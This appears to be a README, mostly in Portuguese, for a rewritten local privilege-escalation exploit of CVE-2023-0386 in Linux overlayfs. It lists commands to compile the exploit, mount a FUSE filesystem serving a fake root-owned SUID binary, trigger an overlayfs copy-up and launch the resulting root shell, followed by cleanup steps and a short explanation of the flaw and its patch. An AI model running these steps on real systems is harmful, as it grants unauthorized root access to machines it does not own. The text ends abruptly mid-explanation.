
Copy fake in-memory files to disk using overlayFS
Fonte original do CVE escrita por xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
Reescrito para que o exploit possa ser executado em 1 shell (o exploit original requer 2 shells).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Limpeza
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt para visualizar sistemas de arquivos montadosfuse.c cria um sistema de arquivos fuse montado em /tmp/fusepwn/lower e serve um binário SUID falso de propriedade do root. Este é um sistema de arquivos em memória, então podemos mentir sobre as permissões definidas
exp.c então cria uma montagem overlayfs em /tmp/fusepwn e abre o binário SUID falso (/tmp/fusepwn/lower/bin). Quando aberto, isso aciona overlayfs para realizar um copy-up que escreve o binário SUID falso no disco com privilégios SUID reais e de propriedade do root.
A vulnerabilidade existe no overlayfs porque ele confia cegamente em quaisquer permissões de arquivo que estão sendo servidas a ele pelo sistema de arquivos inferior. Se o sistema de arquivos inferior é o kernel, isso é aceitável (porque não pode ser manipulado sem permissões de root). Se o sistema de arquivos inferior pode ser manipulado pelo usuário, isso não é aceitável porque podemos mentir sobre quais arquivos estão lá (como usando FUSE)
O patch verifica se o UID/GID do arquivo é válido dentro do namespace do usuário. Se não for, ele falha no copy up.
ou seja,
proc/self/uid_map